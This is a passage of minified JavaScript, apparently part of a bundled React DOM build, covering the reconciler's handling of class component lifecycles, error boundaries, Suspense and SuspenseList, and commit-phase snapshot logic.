0?r.state:null,r.updater=ea,t.stateNode=r,r._reactInternals=t,l&&(t=t.stateNode,t.__reactInternalMemoizedUnmaskedChildContext=c,t.__reactInternalMemoizedMaskedChildContext=f),r}function Sp(t,r,a,l){t=r.state,typeof r.componentWillReceiveProps=="function"&&r.componentWillReceiveProps(a,l),typeof r.UNSAFE_componentWillReceiveProps=="function"&&r.UNSAFE_componentWillReceiveProps(a,l),r.state!==t&&ea.enqueueReplaceState(r,r.state,null)}function fl(t,r,a,l){var c=t.stateNode;c.props=a,c.state=t.memoizedState,c.refs={},Xs(t);var f=r.contextType;typeof f=="object"&&f!==null?c.context=At(f):(f=yt(r)?er:lt.current,c.context=Rr(t,f)),c.state=t.memoizedState,f=r.getDerivedStateFromProps,typeof f=="function"&&(pl(t,r,f,a),c.state=t.memoizedState),typeof r.getDerivedStateFromProps=="function"||typeof c.getSnapshotBeforeUpdate=="function"||typeof c.UNSAFE_componentWillMount!="function"&&typeof c.componentWillMount!="function"||(r=c.state,typeof c.componentWillMount=="function"&&c.componentWillMount(),typeof c.UNSAFE_componentWillMount=="function"&&c.UNSAFE_componentWillMount(),r!==c.state&&ea.enqueueReplaceState(c,c.state,null),Hi(t,a,c,l),c.state=t.memoizedState),typeof c.componentDidMount=="function"&&(t.flags|=4194308)}function Lr(t,r){try{var a="",l=r;do a+=we(l),l=l.return;while(l);var c=a}catch(f){c=`
-Error generating stack: `+f.message+`
-`+f.stack}return{value:t,source:r,stack:c,digest:null}}function ml(t,r,a){return{value:t,source:null,stack:a??null,digest:r??null}}function vl(t,r){try{console.error(r.value)}catch(a){setTimeout(function(){throw a})}}var s0=typeof WeakMap=="function"?WeakMap:Map;function kp(t,r,a){a=dn(-1,a),a.tag=3,a.payload={element:null};var l=r.value;return a.callback=function(){sa||(sa=!0,Rl=l),vl(t,r)},a}function bp(t,r,a){a=dn(-1,a),a.tag=3;var l=t.type.getDerivedStateFromError;if(typeof l=="function"){var c=r.value;a.payload=function(){return l(c)},a.callback=function(){vl(t,r)}}var f=t.stateNode;return f!==null&&typeof f.componentDidCatch=="function"&&(a.callback=function(){vl(t,r),typeof l!="function"&&(jn===null?jn=new Set([this]):jn.add(this));var v=r.stack;this.componentDidCatch(r.value,{componentStack:v!==null?v:""})}),a}function zp(t,r,a){var l=t.pingCache;if(l===null){l=t.pingCache=new s0;var c=new Set;l.set(r,c)}else c=l.get(r),c===void 0&&(c=new Set,l.set(r,c));c.has(a)||(c.add(a),t=E0.bind(null,t,r,a),r.then(t,t))}function Tp(t){do{var r;if((r=t.tag===13)&&(r=t.memoizedState,r=r!==null?r.dehydrated!==null:!0),r)return t;t=t.return}while(t!==null);return null}function Cp(t,r,a,l,c){return(t.mode&1)===0?(t===r?t.flags|=65536:(t.flags|=128,a.flags|=131072,a.flags&=-52805,a.tag===1&&(a.alternate===null?a.tag=17:(r=dn(-1,1),r.tag=2,An(a,r,1))),a.lanes|=1),t):(t.flags|=65536,t.lanes=c,t)}var l0=K.ReactCurrentOwner,_t=!1;function pt(t,r,a,l){r.child=t===null?Gd(r,null,a,l):Ar(r,t.child,a,l)}function Rp(t,r,a,l,c){a=a.render;var f=r.ref;return jr(r,c),l=al(t,r,a,l,f,c),a=sl(),t!==null&&!_t?(r.updateQueue=t.updateQueue,r.flags&=-2053,t.lanes&=~c,pn(t,r,c)):($e&&a&&Zs(r),r.flags|=1,pt(t,r,l,c),r.child)}function Bp(t,r,a,l,c){if(t===null){var f=a.type;return typeof f=="function"&&!$l(f)&&f.defaultProps===void 0&&a.compare===null&&a.defaultProps===void 0?(r.tag=15,r.type=f,Pp(t,r,f,l,c)):(t=fa(a.type,null,l,r,r.mode,c),t.ref=r.ref,t.return=r,r.child=t)}if(f=t.child,(t.lanes&c)===0){var v=f.memoizedProps;if(a=a.compare,a=a!==null?a:bo,a(v,l)&&t.ref===r.ref)return pn(t,r,c)}return r.flags|=1,t=Mn(f,l),t.ref=r.ref,t.return=r,r.child=t}function Pp(t,r,a,l,c){if(t!==null){var f=t.memoizedProps;if(bo(f,l)&&t.ref===r.ref)if(_t=!1,r.pendingProps=l=f,(t.lanes&c)!==0)(t.flags&131072)!==0&&(_t=!0);else return r.lanes=t.lanes,pn(t,r,c)}return hl(t,r,a,l,c)}function Np(t,r,a){var l=r.pendingProps,c=l.children,f=t!==null?t.memoizedState:null;if(l.mode==="hidden")if((r.mode&1)===0)r.memoizedState={baseLanes:0,cachePool:null,transitions:null},Re(Mr,Rt),Rt|=a;else{if((a&1073741824)===0)return t=f!==null?f.baseLanes|a:a,r.lanes=r.childLanes=1073741824,r.memoizedState={baseLanes:t,cachePool:null,transitions:null},r.updateQueue=null,Re(Mr,Rt),Rt|=t,null;r.memoizedState={baseLanes:0,cachePool:null,transitions:null},l=f!==null?f.baseLanes:a,Re(Mr,Rt),Rt|=l}else f!==null?(l=f.baseLanes|a,r.memoizedState=null):l=a,Re(Mr,Rt),Rt|=l;return pt(t,r,c,a),r.child}function Ap(t,r){var a=r.ref;(t===null&&a!==null||t!==null&&t.ref!==a)&&(r.flags|=512,r.flags|=2097152)}function hl(t,r,a,l,c){var f=yt(a)?er:lt.current;return f=Rr(r,f),jr(r,c),a=al(t,r,a,l,f,c),l=sl(),t!==null&&!_t?(r.updateQueue=t.updateQueue,r.flags&=-2053,t.lanes&=~c,pn(t,r,c)):($e&&l&&Zs(r),r.flags|=1,pt(t,r,a,c),r.child)}function Op(t,r,a,l,c){if(yt(a)){var f=!0;Li(r)}else f=!1;if(jr(r,c),r.stateNode===null)na(t,r),Ip(r,a,l),fl(r,a,l,c),l=!0;else if(t===null){var v=r.stateNode,_=r.memoizedProps;v.props=_;var S=v.context,P=a.contextType;typeof P=="object"&&P!==null?P=At(P):(P=yt(a)?er:lt.current,P=Rr(r,P));var U=a.getDerivedStateFromProps,q=typeof U=="function"||typeof v.getSnapshotBeforeUpdate=="function";q||typeof v.UNSAFE_componentWillReceiveProps!="function"&&typeof v.componentWillReceiveProps!="function"||(_!==l||S!==P)&&Sp(r,v,l,P),Nn=!1;var M=r.memoizedState;v.state=M,Hi(r,l,v,c),S=r.memoizedState,_!==l||M!==S||gt.current||Nn?(typeof U=="function"&&(pl(r,a,U,l),S=r.memoizedState),(_=Nn||xp(r,a,_,l,M,S,P))?(q||typeof v.UNSAFE_componentWillMount!="function"&&typeof v.componentWillMount!="function"||(typeof v.componentWillMount=="function"&&v.componentWillMount(),typeof v.UNSAFE_componentWillMount=="function"&&v.UNSAFE_componentWillMount()),typeof v.componentDidMount=="function"&&(r.flags|=4194308)):(typeof v.componentDidMount=="function"&&(r.flags|=4194308),r.memoizedProps=l,r.memoizedState=S),v.props=l,v.state=S,v.context=P,l=_):(typeof v.componentDidMount=="function"&&(r.flags|=4194308),l=!1)}else{v=r.stateNode,Qd(t,r),_=r.memoizedProps,P=r.type===r.elementType?_:Vt(r.type,_),v.props=P,q=r.pendingProps,M=v.context,S=a.contextType,typeof S=="object"&&S!==null?S=At(S):(S=yt(a)?er:lt.current,S=Rr(r,S));var J=a.getDerivedStateFromProps;(U=typeof J=="function"||typeof v.getSnapshotBeforeUpdate=="function")||typeof v.UNSAFE_componentWillReceiveProps!="function"&&typeof v.componentWillReceiveProps!="function"||(_!==q||M!==S)&&Sp(r,v,l,S),Nn=!1,M=r.memoizedState,v.state=M,Hi(r,l,v,c);var te=r.memoizedState;_!==q||M!==te||gt.current||Nn?(typeof J=="function"&&(pl(r,a,J,l),te=r.memoizedState),(P=Nn||xp(r,a,P,l,M,te,S)||!1)?(U||typeof v.UNSAFE_componentWillUpdate!="function"&&typeof v.componentWillUpdate!="function"||(typeof v.componentWillUpdate=="function"&&v.componentWillUpdate(l,te,S),typeof v.UNSAFE_componentWillUpdate=="function"&&v.UNSAFE_componentWillUpdate(l,te,S)),typeof v.componentDidUpdate=="function"&&(r.flags|=4),typeof v.getSnapshotBeforeUpdate=="function"&&(r.flags|=1024)):(typeof v.componentDidUpdate!="function"||_===t.memoizedProps&&M===t.memoizedState||(r.flags|=4),typeof v.getSnapshotBeforeUpdate!="function"||_===t.memoizedProps&&M===t.memoizedState||(r.flags|=1024),r.memoizedProps=l,r.memoizedState=te),v.props=l,v.state=te,v.context=S,l=P):(typeof v.componentDidUpdate!="function"||_===t.memoizedProps&&M===t.memoizedState||(r.flags|=4),typeof v.getSnapshotBeforeUpdate!="function"||_===t.memoizedProps&&M===t.memoizedState||(r.flags|=1024),l=!1)}return gl(t,r,a,l,f,c)}function gl(t,r,a,l,c,f){Ap(t,r);var v=(r.flags&128)!==0;if(!l&&!v)return c&&Md(r,a,!1),pn(t,r,f);l=r.stateNode,l0.current=r;var _=v&&typeof a.getDerivedStateFromError!="function"?null:l.render();return r.flags|=1,t!==null&&v?(r.child=Ar(r,t.child,null,f),r.child=Ar(r,null,_,f)):pt(t,r,_,f),r.memoizedState=l.state,c&&Md(r,a,!0),r.child}function jp(t){var r=t.stateNode;r.pendingContext?Ld(t,r.pendingContext,r.pendingContext!==r.context):r.context&&Ld(t,r.context,!1),el(t,r.containerInfo)}function $p(t,r,a,l,c){return Nr(),Hs(c),r.flags|=256,pt(t,r,a,l),r.child}var yl={dehydrated:null,treeContext:null,retryLane:0};function _l(t){return{baseLanes:t,cachePool:null,transitions:null}}function Lp(t,r,a){var l=r.pendingProps,c=Ue.current,f=!1,v=(r.flags&128)!==0,_;if((_=v)||(_=t!==null&&t.memoizedState===null?!1:(c&2)!==0),_?(f=!0,r.flags&=-129):(t===null||t.memoizedState!==null)&&(c|=1),Re(Ue,c&1),t===null)return Ws(r),t=r.memoizedState,t!==null&&(t=t.dehydrated,t!==null)?((r.mode&1)===0?r.lanes=1:t.data==="$!"?r.lanes=8:r.lanes=1073741824,null):(v=l.children,t=l.fallback,f?(l=r.mode,f=r.child,v={mode:"hidden",children:v},(l&1)===0&&f!==null?(f.childLanes=0,f.pendingProps=v):f=ma(v,l,0,null),t=cr(t,l,a,null),f.return=r,t.return=r,f.sibling=t,r.child=f,r.child.memoizedState=_l(a),r.memoizedState=yl,t):wl(r,v));if(c=t.memoizedState,c!==null&&(_=c.dehydrated,_!==null))return u0(t,r,v,l,_,c,a);if(f){f=l.fallback,v=r.mode,c=t.child,_=c.sibling;var S={mode:"hidden",children:l.children};return(v&1)===0&&r.child!==c?(l=r.child,l.childLanes=0,l.pendingProps=S,r.deletions=null):(l=Mn(c,S),l.subtreeFlags=c.subtreeFlags&14680064),_!==null?f=Mn(_,f):(f=cr(f,v,a,null),f.flags|=2),f.return=r,l.return=r,l.sibling=f,r.child=l,l=f,f=r.child,v=t.child.memoizedState,v=v===null?_l(a):{baseLanes:v.baseLanes|a,cachePool:null,transitions:v.transitions},f.memoizedState=v,f.childLanes=t.childLanes&~a,r.memoizedState=yl,l}return f=t.child,t=f.sibling,l=Mn(f,{mode:"visible",children:l.children}),(r.mode&1)===0&&(l.lanes=a),l.return=r,l.sibling=null,t!==null&&(a=r.deletions,a===null?(r.deletions=[t],r.flags|=16):a.push(t)),r.child=l,r.memoizedState=null,l}function wl(t,r){return r=ma({mode:"visible",children:r},t.mode,0,null),r.return=t,t.child=r}function ta(t,r,a,l){return l!==null&&Hs(l),Ar(r,t.child,null,a),t=wl(r,r.pendingProps.children),t.flags|=2,r.memoizedState=null,t}function u0(t,r,a,l,c,f,v){if(a)return r.flags&256?(r.flags&=-257,l=ml(Error(o(422))),ta(t,r,v,l)):r.memoizedState!==null?(r.child=t.child,r.flags|=128,null):(f=l.fallback,c=r.mode,l=ma({mode:"visible",children:l.children},c,0,null),f=cr(f,c,v,null),f.flags|=2,l.return=r,f.return=r,l.sibling=f,r.child=l,(r.mode&1)!==0&&Ar(r,t.child,null,v),r.child.memoizedState=_l(v),r.memoizedState=yl,f);if((r.mode&1)===0)return ta(t,r,v,null);if(c.data==="$!"){if(l=c.nextSibling&&c.nextSibling.dataset,l)var _=l.dgst;return l=_,f=Error(o(419)),l=ml(f,l,void 0),ta(t,r,v,l)}if(_=(v&t.childLanes)!==0,_t||_){if(l=rt,l!==null){switch(v&-v){case 4:c=2;break;case 16:c=8;break;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:c=32;break;case 536870912:c=268435456;break;default:c=0}c=(c&(l.suspendedLanes|v))!==0?0:c,c!==0&&c!==f.retryLane&&(f.retryLane=c,cn(t,c),Kt(l,t,c,-1))}return jl(),l=ml(Error(o(421))),ta(t,r,v,l)}return c.data==="$?"?(r.flags|=128,r.child=t.child,r=x0.bind(null,t),c._reactRetry=r,null):(t=f.treeContext,Ct=Cn(c.nextSibling),Tt=r,$e=!0,qt=null,t!==null&&(Pt[Nt++]=ln,Pt[Nt++]=un,Pt[Nt++]=tr,ln=t.id,un=t.overflow,tr=r),r=wl(r,l.children),r.flags|=4096,r)}function Dp(t,r,a){t.lanes|=r;var l=t.alternate;l!==null&&(l.lanes|=r),Qs(t.return,r,a)}function El(t,r,a,l,c){var f=t.memoizedState;f===null?t.memoizedState={isBackwards:r,rendering:null,renderingStartTime:0,last:l,tail:a,tailMode:c}:(f.isBackwards=r,f.rendering=null,f.renderingStartTime=0,f.last=l,f.tail=a,f.tailMode=c)}function Mp(t,r,a){var l=r.pendingProps,c=l.revealOrder,f=l.tail;if(pt(t,r,l.children,a),l=Ue.current,(l&2)!==0)l=l&1|2,r.flags|=128;else{if(t!==null&&(t.flags&128)!==0)e:for(t=r.child;t!==null;){if(t.tag===13)t.memoizedState!==null&&Dp(t,a,r);else if(t.tag===19)Dp(t,a,r);else if(t.child!==null){t.child.return=t,t=t.child;continue}if(t===r)break e;for(;t.sibling===null;){if(t.return===null||t.return===r)break e;t=t.return}t.sibling.return=t.return,t=t.sibling}l&=1}if(Re(Ue,l),(r.mode&1)===0)r.memoizedState=null;else switch(c){case"forwards":for(a=r.child,c=null;a!==null;)t=a.alternate,t!==null&&Ki(t)===null&&(c=a),a=a.sibling;a=c,a===null?(c=r.child,r.child=null):(c=a.sibling,a.sibling=null),El(r,!1,c,a,f);break;case"backwards":for(a=null,c=r.child,r.child=null;c!==null;){if(t=c.alternate,t!==null&&Ki(t)===null){r.child=c;break}t=c.sibling,c.sibling=a,a=c,c=t}El(r,!0,a,null,f);break;case"together":El(r,!1,null,null,void 0);break;default:r.memoizedState=null}return r.child}function na(t,r){(r.mode&1)===0&&t!==null&&(t.alternate=null,r.alternate=null,r.flags|=2)}function pn(t,r,a){if(t!==null&&(r.dependencies=t.dependencies),ar|=r.lanes,(a&r.childLanes)===0)return null;if(t!==null&&r.child!==t.child)throw Error(o(153));if(r.child!==null){for(t=r.child,a=Mn(t,t.pendingProps),r.child=a,a.return=r;t.sibling!==null;)t=t.sibling,a=a.sibling=Mn(t,t.pendingProps),a.return=r;a.sibling=null}return r.child}function c0(t,r,a){switch(r.tag){case 3:jp(r),Nr();break;case 5:ep(r);break;case 1:yt(r.type)&&Li(r);break;case 4:el(r,r.stateNode.containerInfo);break;case 10:var l=r.type._context,c=r.memoizedProps.value;Re(qi,l._currentValue),l._currentValue=c;break;case 13:if(l=r.memoizedState,l!==null)return l.dehydrated!==null?(Re(Ue,Ue.current&1),r.flags|=128,null):(a&r.child.childLanes)!==0?Lp(t,r,a):(Re(Ue,Ue.current&1),t=pn(t,r,a),t!==null?t.sibling:null);Re(Ue,Ue.current&1);break;case 19:if(l=(a&r.childLanes)!==0,(t.flags&128)!==0){if(l)return Mp(t,r,a);r.flags|=128}if(c=r.memoizedState,c!==null&&(c.rendering=null,c.tail=null,c.lastEffect=null),Re(Ue,Ue.current),l)break;return null;case 22:case 23:return r.lanes=0,Np(t,r,a)}return pn(t,r,a)}var Fp,xl,Up,Zp;Fp=function(t,r){for(var a=r.child;a!==null;){if(a.tag===5||a.tag===6)t.appendChild(a.stateNode);else if(a.tag!==4&&a.child!==null){a.child.return=a,a=a.child;continue}if(a===r)break;for(;a.sibling===null;){if(a.return===null||a.return===r)return;a=a.return}a.sibling.return=a.return,a=a.sibling}},xl=function(){},Up=function(t,r,a,l){var c=t.memoizedProps;if(c!==l){t=r.stateNode,or(en.current);var f=null;switch(a){case"input":c=Qa(t,c),l=Qa(t,l),f=[];break;case"select":c=ee({},c,{value:void 0}),l=ee({},l,{value:void 0}),f=[];break;case"textarea":c=es(t,c),l=es(t,l),f=[];break;default:typeof c.onClick!="function"&&typeof l.onClick=="function"&&(t.onclick=Oi)}ns(a,l);var v;a=null;for(P in c)if(!l.hasOwnProperty(P)&&c.hasOwnProperty(P)&&c[P]!=null)if(P==="style"){var _=c[P];for(v in _)_.hasOwnProperty(v)&&(a||(a={}),a[v]="")}else P!=="dangerouslySetInnerHTML"&&P!=="children"&&P!=="suppressContentEditableWarning"&&P!=="suppressHydrationWarning"&&P!=="autoFocus"&&(u.hasOwnProperty(P)?f||(f=[]):(f=f||[]).push(P,null));for(P in l){var S=l[P];if(_=c?.[P],l.hasOwnProperty(P)&&S!==_&&(S!=null||_!=null))if(P==="style")if(_){for(v in _)!_.hasOwnProperty(v)||S&&S.hasOwnProperty(v)||(a||(a={}),a[v]="");for(v in S)S.hasOwnProperty(v)&&_[v]!==S[v]&&(a||(a={}),a[v]=S[v])}else a||(f||(f=[]),f.push(P,a)),a=S;else P==="dangerouslySetInnerHTML"?(S=S?S.__html:void 0,_=_?_.__html:void 0,S!=null&&_!==S&&(f=f||[]).push(P,S)):P==="children"?typeof S!="string"&&typeof S!="number"||(f=f||[]).push(P,""+S):P!=="suppressContentEditableWarning"&&P!=="suppressHydrationWarning"&&(u.hasOwnProperty(P)?(S!=null&&P==="onScroll"&&Pe("scroll",t),f||_===S||(f=[])):(f=f||[]).push(P,S))}a&&(f=f||[]).push("style",a);var P=f;(r.updateQueue=P)&&(r.flags|=4)}},Zp=function(t,r,a,l){a!==l&&(r.flags|=4)};function Fo(t,r){if(!$e)switch(t.tailMode){case"hidden":r=t.tail;for(var a=null;r!==null;)r.alternate!==null&&(a=r),r=r.sibling;a===null?t.tail=null:a.sibling=null;break;case"collapsed":a=t.tail;for(var l=null;a!==null;)a.alternate!==null&&(l=a),a=a.sibling;l===null?r||t.tail===null?t.tail=null:t.tail.sibling=null:l.sibling=null}}function ct(t){var r=t.alternate!==null&&t.alternate.child===t.child,a=0,l=0;if(r)for(var c=t.child;c!==null;)a|=c.lanes|c.childLanes,l|=c.subtreeFlags&14680064,l|=c.flags&14680064,c.return=t,c=c.sibling;else for(c=t.child;c!==null;)a|=c.lanes|c.childLanes,l|=c.subtreeFlags,l|=c.flags,c.return=t,c=c.sibling;return t.subtreeFlags|=l,t.childLanes=a,r}function d0(t,r,a){var l=r.pendingProps;switch(qs(r),r.tag){case 2:case 16:case 15:case 0:case 11:case 7:case 8:case 12:case 9:case 14:return ct(r),null;case 1:return yt(r.type)&&$i(),ct(r),null;case 3:return l=r.stateNode,$r(),Ne(gt),Ne(lt),rl(),l.pendingContext&&(l.context=l.pendingContext,l.pendingContext=null),(t===null||t.child===null)&&(Ui(r)?r.flags|=4:t===null||t.memoizedState.isDehydrated&&(r.flags&256)===0||(r.flags|=1024,qt!==null&&(Nl(qt),qt=null))),xl(t,r),ct(r),null;case 5:tl(r);var c=or(jo.current);if(a=r.type,t!==null&&r.stateNode!=null)Up(t,r,a,l,c),t.ref!==r.ref&&(r.flags|=512,r.flags|=2097152);else{if(!l){if(r.stateNode===null)throw Error(o(166));return ct(r),null}if(t=or(en.current),Ui(r)){l=r.stateNode,a=r.type;var f=r.memoizedProps;switch(l[Xt]=r,l[Bo]=f,t=(r.mode&1)!==0,a){case"dialog":Pe("cancel",l),Pe("close",l);break;case"iframe":case"object":case"embed":Pe("load",l);break;case"video":case"audio":for(c=0;c<To.length;c++)Pe(To[c],l);break;case"source":Pe("error",l);break;case"img":case"image":case"link":Pe("error",l),Pe("load",l);break;case"details":Pe("toggle",l);break;case"input":Ic(l,f),Pe("invalid",l);break;case"select":l._wrapperState={wasMultiple:!!f.multiple},Pe("invalid",l);break;case"textarea":bc(l,f),Pe("invalid",l)}ns(a,f),c=null;for(var v in f)if(f.hasOwnProperty(v)){var _=f[v];v==="children"?typeof _=="string"?l.textContent!==_&&(f.suppressHydrationWarning!==!0&&Ai(l.textContent,_,t),c=["children",_]):typeof _=="number"&&l.textContent!==""+_&&(f.suppressHydrationWarning!==!0&&Ai(l.textContent,_,t),c=["children",""+_]):u.hasOwnProperty(v)&&_!=null&&v==="onScroll"&&Pe("scroll",l)}switch(a){case"input":di(l),kc(l,f,!0);break;case"textarea":di(l),Tc(l);break;case"select":case"option":break;default:typeof f.onClick=="function"&&(l.onclick=Oi)}l=c,r.updateQueue=l,l!==null&&(r.flags|=4)}else{v=c.nodeType===9?c:c.ownerDocument,t==="http://www.w3.org/1999/xhtml"&&(t=Cc(a)),t==="http://www.w3.org/1999/xhtml"?a==="script"?(t=v.createElement("div"),t.innerHTML="<script><\/script>",t=t.removeChild(t.firstChild)):typeof l.is=="string"?t=v.createElement(a,{is:l.is}):(t=v.createElement(a),a==="select"&&(v=t,l.multiple?v.multiple=!0:l.size&&(v.size=l.size))):t=v.createElementNS(t,a),t[Xt]=r,t[Bo]=l,Fp(t,r,!1,!1),r.stateNode=t;e:{switch(v=rs(a,l),a){case"dialog":Pe("cancel",t),Pe("close",t),c=l;break;case"iframe":case"object":case"embed":Pe("load",t),c=l;break;case"video":case"audio":for(c=0;c<To.length;c++)Pe(To[c],t);c=l;break;case"source":Pe("error",t),c=l;break;case"img":case"image":case"link":Pe("error",t),Pe("load",t),c=l;break;case"details":Pe("toggle",t),c=l;break;case"input":Ic(t,l),c=Qa(t,l),Pe("invalid",t);break;case"option":c=l;break;case"select":t._wrapperState={wasMultiple:!!l.multiple},c=ee({},l,{value:void 0}),Pe("invalid",t);break;case"textarea":bc(t,l),c=es(t,l),Pe("invalid",t);break;default:c=l}ns(a,c),_=c;for(f in _)if(_.hasOwnProperty(f)){var S=_[f];f==="style"?Pc(t,S):f==="dangerouslySetInnerHTML"?(S=S?S.__html:void 0,S!=null&&Rc(t,S)):f==="children"?typeof S=="string"?(a!=="textarea"||S!=="")&&lo(t,S):typeof S=="number"&&lo(t,""+S):f!=="suppressContentEditableWarning"&&f!=="suppressHydrationWarning"&&f!=="autoFocus"&&(u.hasOwnProperty(f)?S!=null&&f==="onScroll"&&Pe("scroll",t):S!=null&&Q(t,f,S,v))}switch(a){case"input":di(t),kc(t,l,!1);break;case"textarea":di(t),Tc(t);break;case"option":l.value!=null&&t.setAttribute("value",""+ke(l.value));break;case"select":t.multiple=!!l.multiple,f=l.value,f!=null?yr(t,!!l.multiple,f,!1):l.defaultValue!=null&&yr(t,!!l.multiple,l.defaultValue,!0);break;default:typeof c.onClick=="function"&&(t.onclick=Oi)}switch(a){case"button":case"input":case"select":case"textarea":l=!!l.autoFocus;break e;case"img":l=!0;break e;default:l=!1}}l&&(r.flags|=4)}r.ref!==null&&(r.flags|=512,r.flags|=2097152)}return ct(r),null;case 6:if(t&&r.stateNode!=null)Zp(t,r,t.memoizedProps,l);else{if(typeof l!="string"&&r.stateNode===null)throw Error(o(166));if(a=or(jo.current),or(en.current),Ui(r)){if(l=r.stateNode,a=r.memoizedProps,l[Xt]=r,(f=l.nodeValue!==a)&&(t=Tt,t!==null))switch(t.tag){case 3:Ai(l.nodeValue,a,(t.mode&1)!==0);break;case 5:t.memoizedProps.suppressHydrationWarning!==!0&&Ai(l.nodeValue,a,(t.mode&1)!==0)}f&&(r.flags|=4)}else l=(a.nodeType===9?a:a.ownerDocument).createTextNode(l),l[Xt]=r,r.stateNode=l}return ct(r),null;case 13:if(Ne(Ue),l=r.memoizedState,t===null||t.memoizedState!==null&&t.memoizedState.dehydrated!==null){if($e&&Ct!==null&&(r.mode&1)!==0&&(r.flags&128)===0)Wd(),Nr(),r.flags|=98560,f=!1;else if(f=Ui(r),l!==null&&l.dehydrated!==null){if(t===null){if(!f)throw Error(o(318));if(f=r.memoizedState,f=f!==null?f.dehydrated:null,!f)throw Error(o(317));f[Xt]=r}else Nr(),(r.flags&128)===0&&(r.memoizedState=null),r.flags|=4;ct(r),f=!1}else qt!==null&&(Nl(qt),qt=null),f=!0;if(!f)return r.flags&65536?r:null}return(r.flags&128)!==0?(r.lanes=a,r):(l=l!==null,l!==(t!==null&&t.memoizedState!==null)&&l&&(r.child.flags|=8192,(r.mode&1)!==0&&(t===null||(Ue.current&1)!==0?tt===0&&(tt=3):jl())),r.updateQueue!==null&&(r.flags|=4),ct(r),null);case 4:return $r(),xl(t,r),t===null&&Co(r.stateNode.containerInfo),ct(r),null;case 10:return Js(r.type._context),ct(r),null;case 17:return yt(r.type)&&$i(),ct(r),null;case 19:if(Ne(Ue),f=r.memoizedState,f===null)return ct(r),null;if(l=(r.flags&128)!==0,v=f.rendering,v===null)if(l)Fo(f,!1);else{if(tt!==0||t!==null&&(t.flags&128)!==0)for(t=r.child;t!==null;){if(v=Ki(t),v!==null){for(r.flags|=128,Fo(f,!1),l=v.updateQueue,l!==null&&(r.updateQueue=l,r.flags|=4),r.subtreeFlags=0,l=a,a=r.child;a!==null;)f=a,t=l,f.flags&=14680066,v=f.alternate,v===null?(f.childLanes=0,f.lanes=t,f.child=null,f.subtreeFlags=0,f.memoizedProps=null,f.memoizedState=null,f.updateQueue=null,f.dependencies=null,f.stateNode=null):(f.childLanes=v.childLanes,f.lanes=v.lanes,f.child=v.child,f.subtreeFlags=0,f.deletions=null,f.memoizedProps=v.memoizedProps,f.memoizedState=v.memoizedState,f.updateQueue=v.updateQueue,f.type=v.type,t=v.dependencies,f.dependencies=t===null?null:{lanes:t.lanes,firstContext:t.firstContext}),a=a.sibling;return Re(Ue,Ue.current&1|2),r.child}t=t.sibling}f.tail!==null&&Ge()>Fr&&(r.flags|=128,l=!0,Fo(f,!1),r.lanes=4194304)}else{if(!l)if(t=Ki(v),t!==null){if(r.flags|=128,l=!0,a=t.updateQueue,a!==null&&(r.updateQueue=a,r.flags|=4),Fo(f,!0),f.tail===null&&f.tailMode==="hidden"&&!v.alternate&&!$e)return ct(r),null}else 2*Ge()-f.renderingStartTime>Fr&&a!==1073741824&&(r.flags|=128,l=!0,Fo(f,!1),r.lanes=4194304);f.isBackwards?(v.sibling=r.child,r.child=v):(a=f.last,a!==null?a.sibling=v:r.child=v,f.last=v)}return f.tail!==null?(r=f.tail,f.rendering=r,f.tail=r.sibling,f.renderingStartTime=Ge(),r.sibling=null,a=Ue.current,Re(Ue,l?a&1|2:a&1),r):(ct(r),null);case 22:case 23:return Ol(),l=r.memoizedState!==null,t!==null&&t.memoizedState!==null!==l&&(r.flags|=8192),l&&(r.mode&1)!==0?(Rt&1073741824)!==0&&(ct(r),r.subtreeFlags&6&&(r.flags|=8192)):ct(r),null;case 24:return null;case 25:return null}throw Error(o(156,r.tag))}function p0(t,r){switch(qs(r),r.tag){case 1:return yt(r.type)&&$i(),t=r.flags,t&65536?(r.flags=t&-65537|128,r):null;case 3:return $r(),Ne(gt),Ne(lt),rl(),t=r.flags,(t&65536)!==0&&(t&128)===0?(r.flags=t&-65537|128,r):null;case 5:return tl(r),null;case 13:if(Ne(Ue),t=r.memoizedState,t!==null&&t.dehydrated!==null){if(r.alternate===null)throw Error(o(340));Nr()}return t=r.flags,t&65536?(r.flags=t&-65537|128,r):null;case 19:return Ne(Ue),null;case 4:return $r(),null;case 10:return Js(r.type._context),null;case 22:case 23:return Ol(),null;case 24:return null;default:return null}}var ra=!1,dt=!1,f0=typeof WeakSet=="function"?WeakSet:Set,X=null;function Dr(t,r){var a=t.ref;if(a!==null)if(typeof a=="function")try{a(null)}catch(l){He(t,r,l)}else a.current=null}function Il(t,r,a){try{a()}catch(l){He(t,r,l)}}var qp=!1;function m0(t,r){if(Os=Ii,t=xd(),zs(t)){if("selectionStart"in t)var a={start:t.selectionStart,end:t.selectionEnd};else e:{a=(a=t.ownerDocument)&&a.defaultView||window;var l=a.getSelection&&a.getSelection();if(l&&l.rangeCount!==0){a=l.anchorNode;var c=l.anchorOffset,f=l.focusNode;l=l.focusOffset;try{a.nodeType,f.nodeType}catch{a=null;break e}var v=0,_=-1,S=-1,P=0,U=0,q=t,M=null;t:for(;;){for(var J;q!==a||c!==0&&q.nodeType!==3||(_=v+c),q!==f||l!==0&&q.nodeType!==3||(S=v+l),q.nodeType===3&&(v+=q.nodeValue.length),(J=q.firstChild)!==null;)M=q,q=J;for(;;){if(q===t)break t;if(M===a&&++P===c&&(_=v),M===f&&++U===l&&(S=v),(J=q.nextSibling)!==null)break;q=M,M=q.parentNode}q=J}a=_===-1||S===-1?null:{start:_,end:S}}else a=null}a=a||{start:0,end:0}}else a=null;for(js={focusedElem:t,selectionRange:a},Ii=!1,X=r;X!==null;)if(r=X,t=r.child,(r.subtreeFlags&1028)!==0&&t!==null)t.return=r,X=t;else for(;X!==null;){r=X;try{var te=r.alternate;if((r.flags&1024)!==0)switch(r.tag){case 0:case 11:case 15:break;case 1:if(te!==null){var ne=te.memoizedProps,Je=te.memoizedState,C=r.stateNode,k=C.getSnapshotBeforeUpdate(r.elementType===r.type?ne:Vt(r.type,ne),Je);C.__reactInternalSnapshotBeforeUpdate=k}break;case 3:var R=r.stateNode.containerInfo;R.nodeType===1?R.textContent="":R.nodeType===9&&R.documentElement&&R.removeChild(R.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(o(163))}}catch(W){He(r,r.return,W)}if(t=r.sibling,t!==null){t.return=r.return,X=t;break}X=r.return}return te=qp,qp=!1,te}function Uo(t,r,a){var l=r.updateQueue;if(l=l!==null?l.lastEffect:null,l!==null){var 